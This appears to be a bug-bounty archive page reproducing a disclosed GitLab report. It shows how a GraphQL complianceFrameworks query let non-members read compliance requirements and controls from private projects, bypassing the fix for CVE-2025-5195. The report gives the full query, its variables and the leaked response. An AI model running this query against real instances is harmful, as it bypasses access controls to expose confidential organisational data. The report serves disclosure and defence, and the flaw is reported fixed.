Skip to content
Access control Disclosed report Intermediate

Bypassed CVE-2025-5195 - complianceRequirements data disclosed from complianceFrameworks query despite "security and compliance" is hidden

A GraphQL query on a GitLab project exposed compliance framework details, including requirements and controls, to a non-member even when all project features were set to private. An attacker could read confidential compliance information without authorisation.

GitLab

Originally disclosed on GitLab

  • Fixed in 2 months
  • Disclosed after 2 months

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #3307422 by weasterhacker on 2025-08-20, assigned to @gandrews7:

Report | How To Reproduce

Report

Hi team,

Gitlab fixed a issue - https://gitlab.com/gitlab-org/gitlab/-/issues/534960

where an attacker can disclose all information of compilance center -even victim set all project feature private -repository and compliance center all set to be private

here some sensitve informnation exposing like requirement severe information,polices, and controls information and full complicance center information -

compliance framework descriptions to contain some information that might need to remain confidential (to the scope of the organisation at least).

Gitlab fixed this issue in 18.02 patch release - https://about.gitlab.com/releases/2025/06/11/patch-release-gitlab-18-0-2-released/

When at Public project owner made All project features private - repository,issue,merge request, security & compliance feature restricted to only project members (private)

then attacker (non-project member) of victim project access victim project -https://gitlab.com/jordenme1112-group/jordenme1112-project

it said - "Only group owners and maintainers can view the framework details"-like frameworks dicription,requirements information,policies,controls information about set api and other severe information .

wheNow As Attacker non member of victim project (where all feature restricted to only project members)

Execute this GraphQL Query -

query getTotalVulnerabilities($projectPath: ID!) {  
  project(fullPath: $projectPath) {  
    id  
    complianceFrameworks {  
      edges {  
        node {  
          id  
          name  
          color  
          complianceRequirements {  
            edges {  
              node {  
                id  
                name  
                complianceRequirementsControls {  
                  edges {  
                    node {  
                      id  
                      name  
                      externalUrl  
                      externalControlName  
                    }  
                  }  
                }  
                __typename  
              }  
            }  
          }  
          projects {  
            edges {  
              node {  
                id  
              }  
            }  
          }  
          default  
          description  
          editPath  
          updatedAt  
          complianceRequirements {  
            edges {  
              node {  
                id  
                name  
                description  
              }  
            }  
          }  
          __typename  
        }  
      }  
    }  
    archived  
  }  
}

Varibles

{
"projectPath": "chotelalgroup/chotebabuproject"

}


Response -

{
  "data": {  
    "project": {  
      "id": "gid://gitlab/Project/71780971",  
      "complianceFrameworks": {  
        "edges": [  
          {  
            "node": {  
              "id": "gid://gitlab/ComplianceManagement::Framework/2023155",  
              "name": "victim framework",  
              "color": "#cd5b45",  
              "complianceRequirements": {  
                "edges": [  
                  {  
                    "node": {  
                      "id": "gid://gitlab/ComplianceManagement::ComplianceFramework::ComplianceRequirement/1004779",  
                      "name": "ewewew",  
                      "complianceRequirementsControls": {  
                        "edges": [  
                          {  
                            "node": {  
                              "id": "gid://gitlab/ComplianceManagement::ComplianceFramework::ComplianceRequirementsControl/12816",  
                              "name": "scanner_api_security_running",  
                              "externalUrl": "",  
                              "externalControlName": ""  
                            }  
                          }  
                        ]  
                      },  
                      "__typename": "ComplianceRequirement",  
                      "description": "eewewew"  
                    }  
                  },  
                  {  
                    "node": {  
                      "id": "gid://gitlab/ComplianceManagement::ComplianceFramework::ComplianceRequirement/1004778",  
                      "name": "errere",  
                      "complianceRequirementsControls": {  
                        "edges": []  
                      },  
                      "__typename": "ComplianceRequirement",  
                      "description": "errerererere"  
                    }  
                  }  
                ]  
              },  
              "projects": {  
                "edges": [  
                  {  
                    "node": {  
                      "id": "gid://gitlab/Project/71780971"  
                    }  
                  }  
                ]  
              },  
              "default": true,  
              "description": "dffdfdfdfd",  
              "editPath": "/groups/chotelalgroup/-/security/compliance_dashboard/frameworks/2023155",  
              "updatedAt": "2025-08-20T21:57:55Z",  
              "__typename": "ComplianceFramework"  
            }  
          }  
        ]  
      },  
      "archived": false  
    }  
  },  
  "correlationId": "a707aa7e7871dc5383b417dc891dd73f"  
}

Steps to Reproduce

As Attacker -

Identify a project in GitLab with all features set private only accessible by project members.

https://gitlab.com/chotelalgroup/chotebabuproject

As a non-member (unauthenticated/outsider), execute the above GraphQL query:

The API discloses sensitive compliance data, e.g.:

{
  "data": {  
    "project": {  
      "id": "gid://gitlab/Project/71780971",  
      "complianceFrameworks": {  
        "edges": [  
          {  
            "node": {  
              "id": "gid://gitlab/ComplianceManagement::Framework/2023155",  
              "name": "victim framework",  
              "color": "#cd5b45",  
              "complianceRequirements": {  
                "edges": [  
                  {  
                    "node": {  
                      "id": "gid://gitlab/ComplianceManagement::ComplianceFramework::ComplianceRequirement/1004779",  
                      "name": "ewewew",  
                      "complianceRequirementsControls": {  
                        "edges": [  
                          {  
                            "node": {  
                              "id": "gid://gitlab/ComplianceManagement::ComplianceFramework::ComplianceRequirementsControl/12816",  
                              "name": "scanner_api_security_running",  
                              "externalUrl": "",  
                              "externalControlName": ""  
                            }  
                          }  
                        ]  
                      },  
                      "__typename": "ComplianceRequirement",  
                      "description": "eewewew"  
                    }  
                  },  
                  {  
                    "node": {  
                      "id": "gid://gitlab/ComplianceManagement::ComplianceFramework::ComplianceRequirement/1004778",  
                      "name": "errere",  
                      "complianceRequirementsControls": {  
                        "edges": []  
                      },  
                      "__typename": "ComplianceRequirement",  
                      "description": "errerererere"  
                    }  
                  }  
                ]  
              },  
              "projects": {  
                "edges": [  
                  {  
                    "node": {  
                      "id": "gid://gitlab/Project/71780971"  
                    }  
                  }  
                ]  
              },  
              "default": true,  
              "description": "dffdfdfdfd",  
              "editPath": "/groups/chotelalgroup/-/security/compliance_dashboard/frameworks/2023155",  
              "updatedAt": "2025-08-20T21:57:55Z",  
              "__typename": "ComplianceFramework"  
            }  
          }  
        ]  
      },  
      "archived": false  
    }  
  },  
  "correlationId": "a707aa7e7871dc5383b417dc891dd73f"  
}

Confidentiality Breach -

Compliance frameworks often contain internal security policies, regulatory requirements, and control mappings that are meant for restricted organizational use.

References

GitLab Security Patch Release: 18.0.2

GitLab Issue Tracker: #534960

CVE: [CVE-2025-5195]

Impact

An attacker could disclose sensitive Compliance Center data (framework descriptions, requirements, policies, and controls) from GitLab projectswithout authorization. This leaks confidential organizational security/compliance policies, which can be used for targeted attacks, regulatory intelligence gathering, and social engineering, even when all project features are restricted to members only.

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the GraphQL resolver for complianceFrameworks did not check whether the requesting user was a project member before returning compliance data.

Impact

An attacker could disclose sensitive compliance centre data, such as framework descriptions, requirements, policies, and controls, from GitLab projects without authorisation, even when all project features are restricted to members only.

What the attacker needed

A GitLab project with compliance frameworks; attacker is not a project member

The fix

The text references a GitLab patch release and a prior issue, implying the access control check was fixed, but does not explicitly state that this specific bypass was fixed.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

GitLab projects can have a compliance section that holds internal rules and policies. Normally only project members should see it. The report shows that a non-member could still ask the system for that data through a GraphQL query and get it back.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.